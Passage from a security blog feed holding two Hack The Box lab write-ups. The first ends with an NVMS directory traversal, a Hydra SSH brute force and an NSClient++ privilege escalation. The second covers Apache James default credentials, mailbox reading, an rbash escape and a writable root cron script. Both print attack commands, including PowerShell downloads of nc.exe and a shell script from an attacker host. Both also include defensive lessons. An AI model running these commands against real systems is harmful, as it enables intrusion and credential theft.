<p>Because directory traversal vulnerabilities typically allow arbitrary <strong>file reads but not directory listing</strong>, I needed to know the exact file path in advance. Fortunately, the FTP notes already revealed both the <strong>filename</strong> and the <strong>user account</strong>, allowing me to construct the expected Windows desktop path.</p>
<p>Typical Windows desktop location:</p>
<pre><code class="language-plaintext">C:\Users\&lt;username&gt;\Desktop\
</code></pre>
<p>Using this information, I crafted a traversal request in <strong>Burp Suite</strong> targeting the following path:</p>
<pre><code class="language-plaintext">/../../../../../../../../../../users/nathan/desktop/passwords.txt
</code></pre>
<p>The server responded with the contents of the file, successfully exposing the stored credentials.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/eee2a251-16ff-4219-89b2-c8e751bd5a6a.png" alt="" style="display:block;margin:0 auto" />

<p>With the list of passwords obtained through the directory traversal attack, I now had a set of potential credentials that could be used for authentication attempts. From earlier enumeration I had already identified several valid usernames on the system:</p>
<pre><code class="language-plaintext">administrator
nathan
nadine
</code></pre>
<p>Since <strong>SSH was exposed on port 22</strong>, this provided a straightforward way to test the discovered passwords against the known user accounts.</p>
<p>To automate the authentication attempts, I used <strong>Hydra</strong>, supplying a list of usernames along with the password list retrieved from the <code>Passwords.txt</code> file.</p>
<p>Hydra performs a brute-force style attack by attempting every username and password combination from the supplied lists. After running the attack, Hydra quickly returned a valid credential pair:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/2b75ab57-4b3e-491e-ad56-8b15f56c12ae.png" alt="" style="display:block;margin:0 auto" />

<p>Using these credentials, I authenticated to the target system over SSH:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/fa36f868-3ec9-4f35-ad9c-ebc94e94e4fe.png" alt="" style="display:block;margin:0 auto" />

<p>After logging in successfully, I confirmed the context of the shell.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/66bea1b2-bc4f-4ca6-b0c3-67d5d4c36dad.png" alt="" style="display:block;margin:0 auto" />

<p>This confirmed that I now had an interactive shell on the system as the <strong>nadine</strong> user, providing a foothold on the target machine.</p>
<h1>4. Privilege Escalation</h1>
<p>After gaining a foothold on the system as the <strong>nadine</strong> user, my next objective was to determine whether the <strong>NSClient++ vulnerability</strong> discovered earlier could be leveraged to escalate privileges.</p>
<p>During earlier enumeration, I had identified that the system was running <strong>NSClient++</strong>, a monitoring agent commonly used with monitoring platforms such as <strong>Nagios</strong> to collect system metrics and execute monitoring checks. Because monitoring services often run with elevated privileges, they can sometimes present useful privilege escalation opportunities if misconfigured.</p>
<p>From my earlier vulnerability research using <code>searchsploit</code>, I had already identified a known privilege escalation issue affecting <strong>NSClient++ version 0.5.2.35</strong>. In order to determine whether the target system was vulnerable, the first step was to verify which version of NSClient++ was installed.</p>
<p>To do this, I began searching the system for the <strong>NSClient++ installation directory and configuration files</strong>, as these locations often contain version information and additional details about how the service is configured.</p>
<p>Identifying the installed version would allow me to confirm whether the system was likely vulnerable before attempting to exploit the service.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/25d186b0-385a-4764-ac65-6f0a9d09bb83.png" alt="" style="display:block;margin:0 auto" />

<p>The output confirmed that the system was running the vulnerable version.</p>
<p>With the vulnerable version confirmed, I proceeded to the next step described in the exploit advisory: retrieving the <strong>web administrator password</strong> from the NSClient++ configuration file.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/237e4b6e-b0f2-49e1-bd69-8b8e75fe98e0.png" alt="" style="display:block;margin:0 auto" />

<p>Inside the configuration file, I located the stored password value:</p>
<pre><code class="language-plaintext">password = ew2x6SsGTxjRwXOT
</code></pre>
<p>While reviewing the same configuration file, I also noticed an important restriction in the configuration:</p>
<pre><code class="language-plaintext">allowed hosts = 127.0.0.1
</code></pre>
<p>This setting restricts access to the <strong>NSClient++ web interface</strong> so that only connections originating from <strong>localhost</strong> are permitted. Although the service was listening on port <strong>8443</strong>, external connections from my attacking machine would be blocked.</p>
<p>To bypass this restriction, I created an <strong>SSH tunnel</strong> through the foothold I already had on the system. This allowed me to forward a local port from my attacking machine to the target’s <strong>127.0.0.1:8443</strong> interface.</p>
<pre><code class="language-plaintext">ssh -L 9000:127.0.0.1:8443 nadine@10.129.227.77
</code></pre>
<p>With the tunnel established, I could now access the NSClient++ web interface locally from my browser by navigating to:</p>
<pre><code class="language-plaintext">https://127.0.0.1:9000
</code></pre>
<p>Using the administrator password recovered from the configuration file, I successfully authenticated to the <strong>NSClient++ administrative panel</strong>.</p>
<p>Following the exploit steps, the next requirement was to enable the modules necessary for executing external scripts.</p>
<p>From the Modules section of the interface, I enabled the following modules:</p>
<p>CheckExternalScripts CheckTaskSched</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/4df4ea5b-3632-4056-b1d4-a5e0c3fc1b1b.png" alt="" style="display:block;margin:0 auto" />

<p>These modules allow NSClient++ to execute external scripts and manage scheduled tasks, which are required for the privilege escalation technique.</p>
<h3>Preparing the Reverse Shell</h3>
<p>The next step was to prepare a reverse shell payload that could be executed by the NSClient++ service.</p>
<p>I created a simple batch script containing a Netcat reverse shell.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/1243b810-8d40-4151-a70d-4c35ca69a660.png" alt="" style="display:block;margin:0 auto" />

<p>To transfer the required files to the target system, I hosted them from my attacking machine using a Python HTTP server.</p>
<pre><code class="language-plaintext">python3 -m http.server 80
</code></pre>
<p>From the compromised system, I then downloaded both the Netcat binary and the batch script using PowerShell.</p>
<p>The requests were successfully received by the Python server, confirming that both files had been transferred to the target system.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/0d40f9d3-2f9d-4e72-98ee-4dd1fcb051f5.png" alt="" style="display:block;margin:0 auto" />

<p>With the reverse shell payload and Netcat binary now present on the machine, the next step would be to configure <strong>NSClient++ to execute the batch script through the scheduled task functionality</strong>, allowing the script to run under the <strong>LocalSystem</strong> context.</p>
<h3>Executing the Privilege Escalation</h3>
<p>With the payload in place, I returned to the <strong>NSClient++ web interface</strong> and edited the scheduled task configuration so that it would execute the batch script containing the reverse shell.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/50fde9d2-5550-49c6-9026-aa089d7b4d19.png" alt="" style="display:block;margin:0 auto" />

<p>Before triggering execution, I set up a Netcat listener on my attacking machine.</p>
<pre><code class="language-plaintext">nc -nvlp 9001
</code></pre>
<p>After updating the scheduled task configuration, I restarted the <strong>NSClient++ service</strong> to force the service to reload its configuration and execute the scheduled script.</p>
<p>Shortly after the service restarted, the listener received a connection from the target system.</p>
<p>Once connected, I verified the privilege level of the shell.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/afe25711-fbe8-4b27-9d19-6ca2cebab6ee.png" alt="" style="display:block;margin:0 auto" />

<p>This confirmed that the exploit had successfully executed under the <strong>LocalSystem</strong> context, giving full administrative control of the machine.</p>
<h1>5. Lessons Learned</h1>
<h3>1. Directory Traversal Can Expose Sensitive System Files</h3>
<p>A key takeaway from this machine is how dangerous <strong>directory traversal vulnerabilities</strong> can be. Even though the NVMS application did not allow command execution directly, it allowed arbitrary file reads on the underlying system. This enabled access to sensitive files such as user password lists, which ultimately led to initial access.</p>
<p>This highlights the importance of validating file paths and preventing applications from accessing directories outside their intended scope.</p>
<hr />
<h3>2. Internal Information Disclosure Can Enable Attack Chains</h3>
<p>The files discovered during <strong>FTP enumeration</strong> did not initially contain credentials, but they revealed valuable contextual information. Specifically, the message referencing a password file on Nathan's desktop provided the clue needed to construct the correct traversal path.</p>
<p>Small pieces of information like this often become critical when chained together with other vulnerabilities.</p>
<hr />
<h3>3. Monitoring Software Can Introduce Privilege Escalation Risks</h3>
<p>Monitoring agents such as <strong>NSClient++</strong> often run with elevated privileges in order to gather system metrics and execute health checks. If these services are misconfigured or vulnerable, they can become powerful escalation points.</p>
<p>In this case, the ability for low-privileged users to read the NSClient++ configuration file exposed the web administrator password.</p>
<hr />
<h3>4. Localhost Restrictions Are Not Always Effective</h3>
<p>Although the NSClient++ web interface restricted access to 127.0.0.1, this protection was bypassed easily using SSH port forwarding. This demonstrates that restricting services to localhost alone is not always a sufficient security control when attackers already have a foothold on the system.</p>
<hr />
<h1>6. Defensive Insight</h1>
<h3>1. Prevent Directory Traversal Vulnerabilities</h3>
<p>Web applications should strictly sanitize user-supplied paths and ensure that applications cannot access directories outside the intended web root.</p>
<p>Using safe path resolution functions and validating input can prevent attackers from requesting arbitrary files on the system.</p>
<hr />
<h3>2. Avoid Storing Sensitive Data in User Locations</h3>
<p>Sensitive data such as password lists should <strong>never be stored in user desktop directories</strong> or other easily accessible locations. Proper credential storage solutions and secure password management practices should always be used.</p>
<hr />
<h3>3. Protect Service Configuration Files</h3>
<p>Configuration files for privileged services should be protected with strict file permissions. In this case, allowing low-privileged users to read the NSClient++ configuration file exposed administrative credentials.</p>
<p>Service configuration files should only be readable by administrators or the service account itself.</p>
<hr />
<h3>4. Harden Monitoring Services</h3>
<p>Monitoring tools like NSClient++ should be hardened by:</p>
<ul>
<li><p>Disabling unnecessary modules</p>
</li>
<li><p>Restricting access to management interfaces</p>
</li>
<li><p>Regularly updating to patched versions</p>
</li>
</ul>
<p>Running outdated monitoring software can expose systems to privilege escalation vulnerabilities.</p>
<hr />
<h1>7. Useful Commands</h1>
<h3>Initial Port Scanning</h3>
<pre><code class="language-plaintext">rustscan -a 10.129.227.77 -b 7000
</code></pre>
<pre><code class="language-plaintext">nmap -sC -sV -p- 10.129.227.77
</code></pre>
<hr />
<h3>Anonymous FTP Access</h3>
<pre><code class="language-plaintext">ftp -a 10.129.227.77
</code></pre>
<hr />
<h3>Searching for Public Exploits</h3>
<pre><code class="language-plaintext">searchsploit nvms
</code></pre>
<hr />
<h3>Viewing Exploit Details</h3>
<pre><code class="language-plaintext">searchsploit -x 47774.txt
</code></pre>
<hr />
<h3>Hydra SSH Credential Attack</h3>
<pre><code class="language-plaintext">hydra -L user.txt -P pass.txt -t 16 10.129.227.77 ssh
</code></pre>
<hr />
<h3>Verifying NSClient++ Version</h3>
<pre><code class="language-plaintext">cd "C:\Program Files\NSClient++"
nscp.exe --version
</code></pre>
<hr />
<h3>Creating an SSH Port Forward</h3>
<pre><code class="language-plaintext">ssh -L 9000:127.0.0.1:8443 nadine@10.129.227.77.
</code></pre>
<hr />
<h3>Hosting Payload Files</h3>
<pre><code class="language-plaintext">python3 -m http.server 80
</code></pre>
<hr />
<h3>Downloading Payloads on the Target</h3>
<pre><code class="language-plaintext">powershell wget http://10.10.14.123/nc.exe -outfile nc.exe
powershell wget http://10.10.14.123/shell.bat -outfile shell.bat
</code></pre>
<hr />
]]></content:encoded></item><item><title><![CDATA[OSCP Prep #7 HTB Write-Up 
SolidState]]></title><description><![CDATA[1. Target Overview
Machine Name: SolidState
Platform: Hack The Box
Operating System: Linux
Target IP: 10.129.6.171
Objective: Obtain the user and root flags from the target machine. SolidState is a Li]]></description><link>https://www.hack2harden.com/oscp-prep-7-htb-write-up-solidstate</link><guid isPermaLink="true">https://www.hack2harden.com/oscp-prep-7-htb-write-up-solidstate</guid><dc:creator><![CDATA[Deonte Spencer]]></dc:creator><pubDate>Sat, 14 Mar 2026 17:16:34 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/a84e71ce-0b22-4a7b-baf3-aebed9cc914a.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1>1. Target Overview</h1>
<p><strong>Machine Name:</strong> SolidState</p>
<p><strong>Platform:</strong> Hack The Box</p>
<p><strong>Operating System:</strong> Linux</p>
<p><strong>Target IP:</strong> 10.129.6.171</p>
<p><strong>Objective:</strong> Obtain the user and root flags from the target machine. SolidState is a Linux-based machine that exposes several common network services, including a web server and multiple mail-related protocols. These services provide the primary attack surface and require careful enumeration to understand how they interact and what functionality they expose.</p>
<p>The compromise of this system ultimately relies on identifying service misconfigurations and leveraging them to gain access to internal information. By chaining together weaknesses in exposed services and system permissions, it becomes possible to progress from initial access to full administrative control of the machine.</p>
<h2>Tools Used</h2>
<h3>RustScan</h3>
<p>RustScan was used for rapid port discovery. Its high-speed scanning capability allowed quick identification of open TCP ports on the target before passing them to Nmap for deeper enumeration.</p>
<h3>Nmap</h3>
<p>Nmap was used for detailed service enumeration after identifying open ports. The default scripts and version detection options helped identify running services such as SSH, SMTP, POP3, NNTP, and the Apache James administrative interface.</p>
<h3>FFUF</h3>
<p>FFUF was used for directory brute forcing against the web server running on port 80. This helped identify accessible files and directories within the web application while manual browsing was performed simultaneously.</p>
<h3>Netcat (nc)</h3>
<p>Netcat was used for multiple purposes during the engagement:</p>
<ul>
<li><p>Connecting to the Apache James administrative console on port 4555</p>
</li>
<li><p>Establishing a reverse shell listener for privilege escalation</p>
</li>
</ul>
<p>Netcat’s versatility makes it a common tool for interacting with network services during penetration testing.</p>
<h3>Telnet</h3>
<p>Telnet was used to manually interact with the POP3 service running on port 110. This allowed direct authentication to user mailboxes and retrieval of stored emails containing sensitive information.</p>
<h3>LinPEAS</h3>
<p>LinPEAS was used for automated privilege escalation enumeration. The script scans the system for common misconfigurations such as writable files owned by privileged users, which ultimately revealed the vulnerable root-owned Python script that enabled privilege escalation.</p>
<hr />
<h1>2. Enumeration</h1>
<h2>Nmap Scanning</h2>
<p>As always, I begin the engagement by identifying open ports and running services on the target machine. I first ran <strong>RustScan</strong> to quickly discover open TCP ports before passing the results into <strong>Nmap</strong> for deeper service enumeration.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/b1e06b0a-f329-4a7c-97db-30053b94db1b.png" alt="" style="display:block;margin:0 auto" />

<p>The scan revealed several open ports which were then enumerated with Nmap to identify the running services and versions.</p>
<pre><code class="language-plaintext">sudo nmap -sC -sV -p22,25,80,110,119,4555 10.129.6.171
</code></pre>
<h3>Nmap Results</h3>
<p>The web server returned the following page title:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/32b1b4c6-a2e4-4a62-84b5-4d1e38926861.png" alt="" style="display:block;margin:0 auto" />

<p>The scan also confirmed the host is running <strong>Linux (Debian)</strong>.</p>
<hr />
<h2>UDP Scan</h2>
<p>To be thorough, I also performed a quick UDP scan against the target to check for any additional services that might expand the attack surface.</p>
<p>The results showed no useful UDP services exposed.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/71b81cf7-0cad-47f3-ac49-c5ac455544f7.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h3>Key Takeaways from Enumeration</h3>
<p>The scan revealed several interesting services that will likely play a role in the attack chain:</p>
<ul>
<li><p><strong>SSH (22)</strong> – Potential for credential reuse once we obtain valid credentials.</p>
</li>
<li><p><strong>SMTP (25)</strong> – Mail services often expose usernames or allow enumeration.</p>
</li>
<li><p><strong>HTTP (80)</strong> – Always a primary attack surface.</p>
</li>
<li><p><strong>POP3 (110)</strong> – Indicates a mail retrieval service.</p>
</li>
<li><p><strong>NNTP (119)</strong> – Less common and potentially interesting.</p>
</li>
<li><p><strong>Port 4555</strong> – Uncommon service that may belong to a mail server or custom application.</p>
</li>
</ul>
<p>The presence of <strong>multiple mail-related services (SMTP, POP3, NNTP)</strong> strongly suggests that the target may be running a <strong>mail server platform</strong>, which will be investigated further during service enumeration.</p>
<h3>Web Enumeration (Port 80)</h3>
<p>Given the presence of a web server, I shifted focus to <strong>port 80</strong> as an initial attack surface.</p>
<p>To begin reconnaissance, I started a directory brute-force scan using <strong>ffuf</strong> so that enumeration could run in the background while I manually inspected the site through my browser.</p>
<h3>Directory Enumeration Results</h3>
<p>The discovered content suggests the web server hosts a fairly small static site.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/99b076cd-009e-4dcb-b496-8deb8484f13d.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h2>Website Analysis</h2>
<p>Visiting the main page reveals a site for <strong>Solid State Security</strong>, presenting itself as an award-winning security consulting team.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/6a9ed5dc-7a23-45b7-a7eb-09184997cc08.png" alt="" style="display:block;margin:0 auto" />

<p>The site consists of three primary pages:</p>
<ul>
<li><p><strong>index.html</strong></p>
</li>
<li><p><strong>services.html</strong></p>
</li>
<li><p><strong>about.html</strong></p>
</li>
</ul>
<p>Each page primarily contains static informational content describing the company's services and background.</p>
<p>At the bottom of each page there is also a contact form.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/927dbc6e-d5ce-4266-9f00-d1841ba9f078.png" alt="" style="display:block;margin:0 auto" />

<p>However, testing the form revealed that it simply submits a POST request to <code>/</code>, which returns the main page without performing any visible action. This suggests the form is either non-functional or not connected to any backend processing logic.</p>
<p>Further directory brute forcing did not reveal any additional interesting endpoints.</p>
<p>Given the lack of dynamic functionality or obvious attack vectors on the web application, the HTTP service does not appear to provide a viable entry point at this stage.</p>
<p>At this point, I shifted focus away from the web server and began investigating the other exposed services identified during the initial port scan.</p>
<h3>Mail Server Enumeration (Port 4555)</h3>
<p>One of the more unusual services identified during scanning was port 4555. Based on the presence of several mail-related ports (SMTP, POP3, NNTP), I suspected that this port might belong to a mail server management interface.</p>
<p>To investigate further, I connected to the service using netcat.</p>
<p>Upon connecting, the service returned a login prompt for the James Admin Console.</p>
<h3>What is Apache James?</h3>
<p><strong>Apache James (Java Apache Mail Enterprise Server)</strong> is an open-source mail server written in Java. It provides standard email services such as:</p>
<ul>
<li><p>SMTP</p>
</li>
<li><p>POP3</p>
</li>
<li><p>IMAP</p>
</li>
<li><p>NNTP</p>
</li>
</ul>
<p>In addition to the mail protocols themselves, James also exposes an administrative console which allows administrators to manage users, domains, and mailboxes.</p>
<p>In this case, the admin interface was accessible over <strong>port 4555</strong>.</p>
<hr />
<h2>Default Credentials</h2>
<p>Since administrative consoles frequently ship with default credentials, I attempted to authenticate using a common default:</p>
<pre><code class="language-plaintext">Username: root
Password: root
</code></pre>
<p>This authentication attempt was successful, granting access to the James mail server administrative interface.</p>
<p>This immediately represents a significant misconfiguration, as it allows an attacker to directly interact with the mail server's administrative functions. Mail Server Enumeration (Port 4555)</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/72d5a32a-1a57-4c1f-8046-a43b884564a4.png" alt="" style="display:block;margin:0 auto" />

<p>Once authenticated, the administrative console displayed a list of available commands.</p>
<pre><code class="language-plaintext">help
listusers
adduser
setpassword
deluser
setalias
setforwarding
</code></pre>
<hr />
<h3>User Enumeration</h3>
<p>Using the available administrative functionality, I enumerated the mail server accounts.</p>
<p>This revealed multiple existing user accounts on the mail server.</p>
<p>Since the administrative console allows password modification, I reset the passwords for each user using the <code>setpassword</code> command.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/48a4e8cd-a023-4a4a-964b-dde67244540f.png" alt="" style="display:block;margin:0 auto" />

<p>By resetting these credentials, I was able to gain authentication access to each user's mailbox.</p>
<h1>3. Exploitation</h1>
<h3>Mailbox Enumeration via POP3</h3>
<p>After resetting the passwords for the mail server accounts through the Apache James administrative console, I began interacting with the POP3 service (port 110) to read the contents of the users' mailboxes.</p>
<p>I connected to the POP3 server using telnet.</p>
<pre><code class="language-plaintext">telnet 10.129.6.171 110
</code></pre>
<p>Using the credentials I had previously set through the James admin interface, I authenticated as the available users and enumerated their messages.</p>
<hr />
<h3>Accessing John's Mailbox</h3>
<p>John's mailbox contained a message from the mail administrator discussing Mindy's account access restrictions.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/36917b70-3d1f-4f36-a20a-afca05a3b146.png" alt="" style="display:block;margin:0 auto" />

<p>While this message did not contain credentials, it confirmed that Mindy recently received account access information, making her mailbox particularly interesting.</p>
<hr />
<h3>Accessing Mindy's Mailbox</h3>
<p>Next, I authenticated as Mindy.</p>
<p>The mailbox contained two messages.</p>
<p>Retrieving the second message revealed a set of <strong>SSH credentials</strong>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/19a45343-5df8-4ebf-a30b-08b1c835c004.png" alt="" style="display:block;margin:0 auto" />

<p>This email provided valid SSH credentials for the target machine.</p>
<hr />
<h3>Gaining Initial Access via SSH</h3>
<p>After discovering SSH credentials in Mindy’s mailbox, I attempted to authenticate to the target system.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/4dff0cc4-844d-4107-b702-cbadfbc65ac6.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">ssh mindy@10.129.6.171
</code></pre>
<p>Using the credentials found in the email:</p>
<pre><code class="language-plaintext">username: mindy
password: P@55W0rd1!2@
</code></pre>
<p>I was successfully able to establish an SSH session as the <strong>mindy</strong> user.</p>
<p>Once connected, I attempted to run some basic enumeration commands.</p>
<pre><code class="language-plaintext">whoami
</code></pre>
<p>However, this returned an error:</p>
<pre><code class="language-plaintext">-rbash: whoami: command not found
</code></pre>
<p>Checking the current working directory confirmed that I had landed in Mindy’s home directory.</p>
<pre><code class="language-plaintext">pwd
</code></pre>
<pre><code class="language-plaintext">/home/mindy
</code></pre>
<hr />
<h3>Restricted Shell (rbash)</h3>
<p>Examining the system revealed that Mindy’s shell was configured as <strong>rbash</strong>, or <strong>restricted bash</strong>.</p>
<p>Restricted bash is a security feature of the Bash shell that limits the commands a user can execute. It is commonly used in environments where administrators want to restrict a user’s ability to interact freely with the system.</p>
<p>Typical rbash restrictions include:</p>
<ul>
<li><p>Preventing the use of commands containing <code>/</code></p>
</li>
<li><p>Preventing changes to the <code>PATH</code> variable</p>
</li>
<li><p>Preventing the use of <code>cd</code></p>
</li>
<li><p>Restricting execution to a predefined set of allowed commands</p>
</li>
</ul>
<p>The purpose of rbash is to limit a user to a controlled command environment, preventing them from accessing sensitive parts of the system or executing arbitrary binaries.</p>
<p>In practice, however, <strong>restricted shells are frequently misconfigured and can often be bypassed</strong>, allowing an attacker to escape the restricted environment.</p>
<p>At this stage, the next objective was to identify a method to break out of the restricted shell and obtain a fully functional interactive shell.</p>
<h3>Escaping rbash</h3>
<p>A simple technique to bypass restricted shells when connecting via SSH is to force execution of a different shell during login.</p>
<p>This can be done using the <code>-t</code> option to execute a command immediately after establishing the SSH connection.</p>
<pre><code class="language-plaintext">ssh mindy@10.129.6.171 -t bash
</code></pre>
<p>This forces bash to run instead of the restricted shell defined for the user account.</p>
<p>After reconnecting using this method, I was able to execute previously restricted commands.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/b1dfc7ee-d047-4877-af0f-ccb3471812dd.png" alt="" style="display:block;margin:0 auto" />

<p>Although the prompt appeared slightly malformed, the important outcome was that I now had access to a fully functional shell, allowing standard enumeration.</p>
<p>With the rbash restrictions bypassed, I could now proceed with normal system enumeration in search of a privilege escalation path.</p>
<h1>4. Privilege Escalation</h1>
<h2>Initial Enumeration</h2>
<p>After bypassing the restricted shell, I began my standard Linux privilege escalation checklist.</p>
<p>First I confirmed the current user:</p>
<pre><code class="language-plaintext">whoami
</code></pre>
<pre><code class="language-plaintext">mindy
</code></pre>
<p>Next I checked the user’s group memberships:</p>
<pre><code class="language-plaintext">id
</code></pre>
<pre><code class="language-plaintext">uid=1001(mindy) gid=1001(mindy) groups=1001(mindy)
</code></pre>
<p>This confirmed that the account does not belong to any privileged groups.</p>
<p>I then checked for sudo privileges:</p>
<pre><code class="language-plaintext">sudo -l
</code></pre>
<p>However, the <code>sudo</code> binary was not available in the current environment.</p>
<pre><code class="language-plaintext">bash: sudo: command not found
</code></pre>
<hr />
<h2>Filesystem Enumeration</h2>
<p>I proceeded with standard manual enumeration, reviewing common escalation vectors such as:</p>
<ul>
<li><p>writable directories</p>
</li>
<li><p>cron jobs</p>
</li>
<li><p>unusual binaries</p>
</li>
<li><p>SUID files</p>
</li>
<li><p>scripts executed by privileged users</p>
</li>
</ul>
<p>Despite checking typical locations nothing immediately stood out as an obvious privilege escalation path.</p>
<hr />
<h2>Automated Enumeration with LinPEAS</h2>
<p>Since manual enumeration did not reveal anything obvious, I decided to use <strong>LinPEAS</strong>, a popular Linux privilege escalation auditing script that automatically scans the system for common misconfigurations.</p>
<p>To transfer the script to the target machine, I first hosted it from my Kali machine using a simple Python web server.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/a778aeba-24fa-4c0a-ba8d-4aea6a581d6c.png" alt="" style="display:block;margin:0 auto" />

<p>Then from the compromised SSH session, I downloaded the script using <code>wget</code>.</p>
<p>After downloading the script, I made it executable and ran it.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/b0948aa5-4d2f-4f6b-9d95-3e5daa0abbec.png" alt="" style="display:block;margin:0 auto" />

<p>LinPEAS performed a comprehensive scan of the system, checking for common privilege escalation vectors such as:</p>
<ul>
<li><p>SUID binaries</p>
</li>
<li><p>writable cron jobs</p>
</li>
<li><p>weak file permissions</p>
</li>
<li><p>PATH hijacking opportunities</p>
</li>
<li><p>scheduled tasks</p>
</li>
</ul>
<h2>Vulnerable Root Script</h2>
<p>During the scan, LinPEAS highlighted a suspicious file located in the <code>/opt</code> directory.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/3eb9834c-0ad6-478a-983f-672f69120bf5.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">/opt/tmp.py
</code></pre>
<p>Inspecting the file revealed the following:</p>
<pre><code class="language-plaintext">ls -la /opt/tmp.py
</code></pre>
<pre><code class="language-plaintext">-rwxrwxrwx 1 root root 105 Mar 14 12:15 tmp.py
</code></pre>
<p>The script was:</p>
<ul>
<li><p><strong>owned by root</strong></p>
</li>
<li><p><strong>world writable (777)</strong></p>
</li>
</ul>
<p>Viewing the contents of the file showed that it was a simple Python script responsible for clearing the <code>/tmp</code> directory.</p>
<pre><code class="language-plaintext">#!/usr/bin/env python
import os
import sys

try:
    os.system("rm -r /tmp/* ")
except:
    sys.exit()
</code></pre>
<p>Because the file was <strong>owned by root but writable by all users</strong>, this immediately suggested the possibility of a privilege escalation through script modification if the file was being executed automatically by a privileged process.</p>
<hr />
<h2>Confirming Script Execution</h2>
<p>Before modifying the script, I first needed to confirm that it was being executed periodically.</p>
<p>Since the script deletes all files in <code>/tmp</code>, I created a test file to observe its behavior.</p>
<pre><code class="language-plaintext">touch /tmp/test
</code></pre>
<p>After waiting briefly, I checked the directory again and observed that the file had been removed automatically. This confirmed that the script was being executed on a recurring basis by a privileged process.</p>
<hr />
<h2>Exploiting the Writable Script</h2>
<p>Since the script was executed by root and was world writable, I appended a reverse shell payload to the end of the file.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/865319e6-dedc-4e46-aa4f-119005a0ea32.png" alt="" style="display:block;margin:0 auto" />

<p>Next, I started a listener on my attacking machine.</p>
<p>When the scheduled task executed the script, the payload triggered and established a reverse shell back to my listener.</p>
<hr />
<h2>Root Shell</h2>
<p>Once the connection was established, I verified the privileges of the shell.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/1a1f87ae-61fb-4142-87ad-a3183e3d80ef.png" alt="" style="display:block;margin:0 auto" />

<p>This confirmed that the reverse shell was running with root privileges, successfully completing the privilege escalation.</p>
<h1>5. Lessons Learned</h1>
<h3>1. The Danger of Default Credentials</h3>
<p>The initial foothold on the mail server was obtained using default credentials <strong>(</strong><code>root:root</code><strong>)</strong> for the Apache James administrative console. Default credentials remain one of the most common real-world misconfigurations and can immediately provide attackers with administrative control over services if they are not changed during deployment.</p>
<hr />
<h3>2. Administrative Service Exposure Increases Attack Surface</h3>
<p>The Apache James administrative console (port 4555) was exposed directly to the network. Administrative interfaces should rarely be accessible externally, as they often provide powerful capabilities such as user management, password resets, and system configuration changes. In this case, access to the console allowed modification of user passwords, which ultimately led to mailbox access and credential discovery.</p>
<hr />
<h3>3. Mail Services Can Leak Sensitive Information</h3>
<p>By resetting user passwords through the mail server admin interface, it was possible to authenticate to the POP3 service and read stored emails. These emails contained operational details and credentials, demonstrating how internal communication systems such as mail servers can unintentionally expose sensitive information that attackers can leverage for lateral movement or system access.</p>
<hr />
<h3>4. Writable Scripts Owned by Root Are a Critical Misconfiguration</h3>
<p>The privilege escalation was possible because a <strong>Python script owned by root was world-writable (</strong><code>777</code><strong>)</strong>. This allowed a non-privileged user to modify a script that was executed automatically by a privileged process. When the script ran, it executed attacker-controlled commands with root privileges.</p>
<p>Misconfigured file permissions on scripts executed by privileged users represent a serious security risk and are a common privilege escalation vector in both real-world environments and penetration testing scenarios.</p>
<hr />
<h3>5. Understanding Service Roles Improves Attack Efficiency</h3>
<p>Recognizing the roles of the different mail protocols exposed on the target was critical in progressing through the attack chain:</p>
<ul>
<li><p><strong>SMTP</strong> for sending mail</p>
</li>
<li><p><strong>POP3</strong> for retrieving mail</p>
</li>
<li><p><strong>NNTP</strong> for newsgroup communication</p>
</li>
</ul>
<p>Understanding that POP3 allows mailbox retrieval led directly to discovering the SSH credentials stored in Mindy's email.</p>
<h1>6. Defensive Insights</h1>
<h3>1. Eliminate Default Credentials</h3>
<p>Services should <strong>never be deployed with default credentials enabled</strong>. Default accounts such as <code>root:root</code> for administrative interfaces must be changed immediately during system deployment. Organizations should enforce credential policies that require strong, unique passwords and disable unused default accounts entirely.</p>
<hr />
<h3>2. Restrict Administrative Interfaces</h3>
<p>Administrative services such as the Apache James Remote Administration Tool should never be directly exposed to untrusted networks. These interfaces should be restricted using:</p>
<ul>
